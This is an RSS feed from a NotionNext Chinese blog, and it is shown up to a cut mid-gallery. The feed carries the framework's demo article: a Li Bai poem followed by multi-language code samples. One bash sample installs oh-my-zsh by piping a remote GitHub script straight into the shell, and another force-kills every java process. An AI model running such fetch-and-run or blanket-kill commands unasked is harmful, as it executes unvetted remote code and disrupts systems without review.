<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>NotionNext BLOG</title>
        <link>https://hexo.xslover.xyz/</link>
        <description>这是一个由NotionNext生成的站点</description>
        <lastBuildDate>Thu, 18 May 2023 07:09:16 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>zh-CN</language>
        <copyright>All rights reserved 2023, 轻言易梦</copyright>
        <item>
            <title><![CDATA[这是“轻言易梦”第一篇文章。]]></title>
            <link>https://hexo.xslover.xyz/article/example-1</link>
            <guid>https://hexo.xslover.xyz/article/example-1</guid>
            <pubDate>Fri, 05 Nov 2021 00:00:00 GMT</pubDate>
            <description><![CDATA[这是示例的文章摘要，摘要内容可被用做搜索，预览。文章列表默认展示概要；若要在列表直接展示文章内容，可在blog.config.js中配置。]]></description>
            <content:encoded><![CDATA[<div id="container" class="font-medium mx-auto undefined"><main class="notion light-mode notion-page notion-block-d555465b08404eb69e79f159a6c0075e"><div class="notion-viewport"></div><div class="notion-collection-page-properties"></div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-2ba13dfccc734c0fbbaf0178e319ba7b" data-id="2ba13dfccc734c0fbbaf0178e319ba7b"><span><div id="2ba13dfccc734c0fbbaf0178e319ba7b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#2ba13dfccc734c0fbbaf0178e319ba7b" title="基本段落"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">基本段落</span></span></h2><blockquote class="notion-quote notion-block-7fccb343b22841f6ae5da1440c898954"><div>书中自有黄金屋，书中自有颜如玉</div></blockquote><div class="notion-callout notion-gray_background_co notion-block-4753d5ab7a21492782cb7e4cf906eefd"><div class="notion-page-icon-inline notion-page-icon-span"><span class="notion-page-icon" role="img" aria-label="💡">💡</span></div><div class="notion-callout-text">生活的意义并不是与他人争高下，而在于享受努力实现目标的过程，结果只是对自己行动的嘉奖。</div></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-faf6357f721b49c0974a83564d82fa8c" data-id="faf6357f721b49c0974a83564d82fa8c"><span><div id="faf6357f721b49c0974a83564d82fa8c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#faf6357f721b49c0974a83564d82fa8c" title="将进酒"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title"><b>将进酒</b></span></span></h3><div class="notion-text notion-block-8539e89d4d5f4bb582b7936bc7775bd9">李白〔唐代〕</div><div class="notion-text notion-block-a6d5adbc26c14ea699004cdba829f3e7">君不见黄河之水天上来，奔流到海不复回。
君不见高堂明镜悲白发，朝如青丝暮成雪。
人生得意须尽欢，莫使金樽空对月。
天生我材必有用，千金散尽还复来。
烹羊宰牛且为乐，会须一饮三百杯。
岑夫子，丹丘生，将进酒，杯莫停。
与君歌一曲，请君为我倾耳听。
钟鼓馔玉不足贵，但愿长醉不愿醒。
古来圣贤皆寂寞，惟有饮者留其名。
陈王昔时宴平乐，斗酒十千恣欢谑。
主人何为言少钱，径须沽取对君酌。
五花马、千金裘，呼儿将出换美酒，与尔同销万古愁。</div><div class="notion-row"><a target="_blank" rel="noopener noreferrer" class="notion-bookmark notion-block-66258da12b74432081bb3a0b09838282" href="https://tangly1024.com/"><div><div class="notion-bookmark-title">TANGLY&#x27;s BLOG | 记录思考、分享我的学习笔记</div><div class="notion-bookmark-description">记录思考、分享我的学习笔记</div><div class="notion-bookmark-link"><div class="notion-bookmark-link-icon"><img src="https://tangly1024.com/favicon.ico" alt="TANGLY&#x27;s BLOG | 记录思考、分享我的学习笔记" loading="lazy" decoding="async"/></div><div class="notion-bookmark-link-text">https://tangly1024.com/</div></div></div><div class="notion-bookmark-image"><img style="object-fit:cover" src="https://images.unsplash.com/photo-1564419320603-628d868a193f?q=50&amp;fm=jpg&amp;fit=crop&amp;w=1920&amp;h=1600" alt="TANGLY&#x27;s BLOG | 记录思考、分享我的学习笔记" loading="lazy" decoding="async"/></div></a></div><div class="notion-blank notion-block-b4a4a79180ff4869a6a7d23dd56113b7"> </div><h2 class="notion-h notion-h1 notion-h-indent-0 notion-block-a44d1629895a4fc6b457d670192fb792" data-id="a44d1629895a4fc6b457d670192fb792"><span><div id="a44d1629895a4fc6b457d670192fb792" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a44d1629895a4fc6b457d670192fb792" title="特殊段落"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">特殊段落</span></span></h2><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-96e6ee2cbde44ca988363006b42112a9" data-id="96e6ee2cbde44ca988363006b42112a9"><span><div id="96e6ee2cbde44ca988363006b42112a9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#96e6ee2cbde44ca988363006b42112a9" title="1.代码"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">1.代码</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-bash"># Bash 安装zsh
$ sudo apt install zsh

# 配置ohmyzsh
$ sh -c &quot;$(curl -fsSL &lt;https://raw.github.com/robbyrussell/oh-my-zsh/master/tools/install.sh&gt;)&quot;

# 配置ohmyzsh插件
# zsh-autosuggestions
$ git clone git://github.com/zsh-users/zsh-autosuggestions $ZSH_CUSTOM/plugins/zsh-autosuggestions

# zsh-syntax-highlighting
$ git clone &lt;https://github.com/zsh-users/zsh-syntax-highlighting.git&gt; ${ZSH_CUSTOM:-~/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting

// 启用插件
$ vim .zshrc
plugins=(git z zsh-autosuggestions zsh-syntax-highlighting)</code></pre><details class="notion-toggle notion-block-090e8431f66f42909dda57e3395cdd59"><summary>其他更多语言</summary><div><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-bash">ps -ef | grep java | awk &#x27;{print $2}&#x27; | xargs kill -9</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-java">@Test
public void test11() {

  long start = System.currentTimeMillis();
  int a = 0;
  for(int i=0;i&lt;1000000000;i++){
      try {
          a++;
      }catch (Exception e){
          e.printStackTrace();
      }
  }
  long useTime = System.currentTimeMillis()-start;
  System.out.println(&quot;useTime:&quot;+useTime);
}</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-python">#!/usr/bin/python3
import json
 
# Python 字典类型转换为 JSON 对象
data = {
    &#x27;no&#x27; : 1,
    &#x27;name&#x27; : &#x27;hello&#x27;,
    &#x27;url&#x27; : &#x27;http://tangly1024.com&#x27;
}
 
json_str = json.dumps(data)
print (&quot;Python 原始数据：&quot;, repr(data))
print (&quot;JSON 对象：&quot;, json_str)</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-r"># R 语言
#file.edit(path.expand(file.path(&quot;~&quot;, &quot;.Renviron&quot;)))
library(telegram.bot)
library(stringr)
# Initiate the bot session using the token from the enviroment variable.
bot = Bot(token = bot_token(&#x27;your_bot&#x27;))
usr_list &lt;- c(12344566, 12345566)</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-css">html {
	background-color: red;
}</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-cpp">#include &lt;iostream&gt;
using namespace std;
 
// main() 是程序开始执行的地方
 
int main()
{
   cout &lt;&lt; &quot;Hello World&quot;; // 输出 Hello World
   return 0;
}</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-csharp">using System;
namespace HelloWorldApplication
{
   class HelloWorld
   {
      static void Main(string[] args)
      {
         Console.WriteLine(&quot;Hello World&quot;);
         Console.ReadKey();
      }
   }
}</code></pre><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-asm6502">.section __TEXT,__text,regular,pure_instructions
.macosx_version_min 10, 13
.globl _add_a_b
.p2align 4, 0x90
_add_a_b: ## @add_a_b
.cfi_startproc
## BB#0:
pushq %rbp
Lcfi0:
.cfi_def_cfa_offset 16
Lcfi1:
.cfi_offset %rbp, -16
movq %rsp, %rbp
Lcfi2:
.cfi_def_cfa_register %rbp
movl %edi, -4(%rbp)
movl %esi, -8(%rbp)
movl -4(%rbp), %esi
addl -8(%rbp), %esi
movl %esi, %eax
popq %rbp
retq
.cfi_endproc

.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## BB#0:
pushq %rbp
Lcfi3:
.cfi_def_cfa_offset 16
Lcfi4:
.cfi_offset %rbp, -16
movq %rsp, %rbp
Lcfi5:
.cfi_def_cfa_register %rbp
subq $16, %rsp
movl $1, %edi
movl $2, %esi
movl $0, -4(%rbp)
callq _add_a_b
addq $16, %rsp
popq %rbp
retq
.cfi_endproc</code></pre></div></details><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-a484179d849540ff9ee7316f1f29d2fe" data-id="a484179d849540ff9ee7316f1f29d2fe"><span><div id="a484179d849540ff9ee7316f1f29d2fe" class="notion-header-anchor"></div><a class="notion-hash-link" href="#a484179d849540ff9ee7316f1f29d2fe" title="2.公式"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">2.公式</span></span></h3><ul class="notion-list notion-list-disc notion-block-12f81799b3424c1eb2bc5e826f7ff7ad"><li>数学公式</li><ul class="notion-list notion-list-disc notion-block-12f81799b3424c1eb2bc5e826f7ff7ad"><span role="button" tabindex="0" class="notion-equation notion-equation-block"><span></span></span></ul></ul><ul class="notion-list notion-list-disc notion-block-c25f457b17c4464780ada6ec590d5ff7"><li>化学方程</li><ul class="notion-list notion-list-disc notion-block-c25f457b17c4464780ada6ec590d5ff7"><div class="notion-text notion-block-c0c43e4a361246feba894821cba37be7"><span role="button" tabindex="0" class="notion-equation notion-equation-inline"><span></span></span></div></ul></ul><details class="notion-toggle notion-block-60a0e83acec64962a5395fd2cccba1d0"><summary>其他更多公式</summary><div><span role="button" tabindex="0" class="notion-equation notion-equation-block"><span></span></span><span role="button" tabindex="0" class="notion-equation notion-equation-block"><span></span></span><span role="button" tabindex="0" class="notion-equation notion-equation-block"><span></span></span><div class="notion-blank notion-block-8861fb4d526546128f55d7f226fe5080"> </div><span role="button" tabindex="0" class="notion-equation notion-equation-block"><span></span></span></div></details><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-53a36c4d72f24351a8868e21aa05f8fc" data-id="53a36c4d72f24351a8868e21aa05f8fc"><span><div id="53a36c4d72f24351a8868e21aa05f8fc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#53a36c4d72f24351a8868e21aa05f8fc" title="3. 图表"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. 图表</span></span></h3><pre class="notion-code"><div class="notion-code-copy"><div class="notion-code-copy-button"><svg fill="currentColor" viewBox="0 0 16 16" width="1em" version="1.1"><path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg></div></div><code class="language-mermaid">graph LR;
公司架构--&gt;商务
公司架构--&gt;研发
公司架构--&gt;设计
公司架构--&gt;运营
公司架构--&gt;产品</code></pre><figcaption class="notion-asset-caption">思维导图</figcaption><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-bc3900fd1a2f4f2e9004fb975a3c366f" data-id="bc3900fd1a2f4f2e9004fb975a3c366f"><span><div id="bc3900fd1a2f4f2e9004fb975a3c366f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#bc3900fd1a2f4f2e9004fb975a3c366f" title="4. PDF嵌入"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. PDF嵌入</span></span></h3><figure class="notion-asset-wrapper notion-asset-wrapper-pdf notion-block-ae8bf8668b9b4bbe9639aa579fe56051"><div style="position:relative;display:flex;justify-content:center;align-self:center;width:708px;max-width:100%;flex-direction:column;height:320px;overflow:auto;background:rgb(226, 226, 226);padding:8px 16px"></div></figure><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-83d5161c8fa04fff9e58e1aa9c5aeb5c" data-id="83d5161c8fa04fff9e58e1aa9c5aeb5c"><span><div id="83d5161c8fa04fff9e58e1aa9c5aeb5c" class="notion-header-anchor"></div><a class="notion-hash-link" href="#83d5161c8fa04fff9e58e1aa9c5aeb5c" title="5.下载附件"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5.下载附件</span></span></h3><div class="notion-file notion-block-80b49c2a3c2c43a8bf44872b54182782"><a target="_blank" rel="noopener noreferrer" class="notion-file-link" href="https://file.notion.so/f/s/fab11580-96c3-4230-90f6-05257f00fb0a/%E6%B5%8B%E8%AF%95%E5%B5%8C%E5%85%A5PDF.pdf?id=80b49c2a-3c2c-43a8-bf44-872b54182782&amp;table=block&amp;spaceId=9660bab4-7baf-43ff-b808-c180576ae5eb&amp;expirationTimestamp=1684480155837&amp;signature=UOD_lKeAo3utWQLLjUv8VLc-uoNTMDpBk5rflni3p8c"><svg class="notion-file-icon" viewBox="0 0 30 30"><path d="M22,8v12c0,3.866-3.134,7-7,7s-7-3.134-7-7V8c0-2.762,2.238-5,5-5s5,2.238,5,5v12c0,1.657-1.343,3-3,3s-3-1.343-3-3V8h-2v12c0,2.762,2.238,5,5,5s5-2.238,5-5V8c0-3.866-3.134-7-7-7S6,4.134,6,8v12c0,4.971,4.029,9,9,9s9-4.029,9-9V8H22z"></path></svg><div class="notion-file-info"><div class="notion-file-title">下载PDF附件.pdf</div><div class="notion-file-size">469.5KB</div></div></a></div><h3 class="notion-h notion-h2 notion-h-indent-1 notion-block-06da3e1de93e459ea67118f7880b79a9" data-id="06da3e1de93e459ea67118f7880b79a9"><span><div id="06da3e1de93e459ea67118f7880b79a9" class="notion-header-anchor"></div><a class="notion-hash-link" href="#06da3e1de93e459ea67118f7880b79a9" title="6. 照片集"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">6. 照片集</span></span></h3><div><div></div><div class="notion-collection-header"><div class="notion-collection-header-title">照片集</div></div></div><div class="notion-collection notion-block-cac94872c63348f898325cc6a37cc381"><div class="notion-gallery"><div class="notion-gallery-view"><div class="notion-gallery-grid notion-gallery-grid-size-large"><a class="notion-collection-card notion-collection-card-size-large" href="/7e255594ed3c49bd997e295f14f5e3e2"><div class="notion-collection-card-cover"><img style="object-fit:cover;object-position:center 30.000000000000004%" src="https://www.notion.so/images/page-cover/met_emanuel_leutze.jpg" alt="照片标题1" loading="lazy" decoding="async"/></div><div class="notion-collection-card-body"><div class="notion-collection-card-property"><span class="notion-property notion-property-title"><span class="notion-page-link"><span class="notion-page-title"><div class="notion-page-icon-inline notion-page-icon-image"><svg class="notion-page-title-icon notion-page-icon" alt="照片标题1" viewBox="0 0 30 30" width="16"><path d="M16,1H4v28h22V11L16,1z M16,3.828L23.172,11H16V3.828z M24,27H6V3h8v10h10V27z M8,17h14v-2H8V17z M8,21h14v-2H8V21z M8,25h14v-2H8V25z"></path></svg></div><span class="notion-page-title-text">照片标题1</span></span></span></span></div><div class="notion-collection-card-property"><span class="notion-property notion-property-text"><form action="https://preview.tangly1024.com/fc758ffac897479d9a7161cce3272520" target="_blank"><input type="submit" class="nested-form-link notion-link" value="查看"/></form></span></div></div></a><a class="notion-collection-card notion-collection-card-size-large" href="/abf646a5432a47008ec266c94b341ea1"><div class="notion-collection-card-cover"><img style="object-fit:cover;object-position:center 100%" src="https://www.notion.so/images/page-cover/woodcuts_5.jpg" alt="照片标题3" loading="lazy" decoding="async"/></div><div class="notion-collection-card-body"><div class="notion-collection-card-property"><span class="notion-property notion-property-title"><span class="notion-page-link"><span class="notion-page-title"><div class="notion-page-icon-inline notion-page-icon-image"><svg class="notion-page-title-icon notion-page-icon" alt="照片标题3" viewBox="0 0 30 30" width="16"><path d="M16,1H4v28h22V11L16,1z M16,3.828L23.172,11H16V3.828z M24,27H6V3h8v10h10V27z M8,17h14v-2H8V17z M8,21h14v-2H8V21z M8,25h14v-2H8V25z"></path></svg></div><span class="notion-page-title-text">照片标题3</span></span></span></span></div><div class="notion-collection-card-property"><span 